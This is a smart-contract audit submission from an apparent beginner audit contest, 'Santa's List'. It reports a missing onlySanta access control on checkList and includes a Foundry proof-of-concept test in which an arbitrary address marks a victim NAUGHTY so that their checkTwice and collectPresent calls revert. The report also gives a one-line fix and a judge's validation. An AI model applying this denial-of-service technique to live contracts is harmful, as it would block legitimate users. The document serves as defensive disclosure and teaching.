First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Lack of `onlySanta` access control modifier on `SantasList::checkList` enables anyone to DOS `SantasList::checkTwice` and `SantasList::collectPresent`.

0xspryon

Summary

SantasList::checkTwice & SantasList::collectPresent can be made to always revert for users that have been SantasList::checkTwice with a status of NICE or EXTRA_NICE.

Vulnerability Details

SantasList::checkList is callable by anyone with any status as input ( in this case NAUGHTY). Both SantasList::checkTwice and SantasList::collectPresent expect that the status of the user in both SantasList::s_theListCheckedOnce and SantasList::s_theListCheckedTwice are the same. A malicious user can just decide to call SantasList::checkList for any user (he wishes to DOS) with the status of NAUGHTY. This effectively blocks this user from ever being checkTwice-ed or to ever be able to collectPresent.

POC

Put the following code exerpt in `test/unit/SantasListTest.t.sol`
​
function testDOSCollectPresent() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
address maliciousUser = makeAddr("malicious_user");
vm.prank(maliciousUser);
santasList.checkList(user, SantasList.Status.NAUGHTY);
​
vm.startPrank(user);
vm.expectRevert();
santasList.collectPresent();
vm.stopPrank();
}
​
function testDOSCheckTwice() public {
address maliciousUser = makeAddr("malicious_user");
vm.prank(maliciousUser);
santasList.checkList(user, SantasList.Status.NAUGHTY);
​
vm.startPrank(santa);
vm.expectRevert();
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
}

In the terminal, run the following commands.

forge test --mt testDOSCollectPresent

forge test --mt testDOSCheckTwice

Impact

SantasList::checkTwice & SantasList::collectPresent can be made to always revert for users that have been SantasList::checkTwice with a status of NICE or EXTRA_NICE.

Tools Used

Manual review

Recommendations

Add an only santa modifier to SantaList::checkList method, line 121

- function checkList(address person, Status status) external {
+ function checkList(address person, Status status) external onlySanta {
Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Access Control on checkList()

Anyone is able to call checkList() changing the status of a provided address. This is not intended functionality and is meant to be callable by only Santa.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!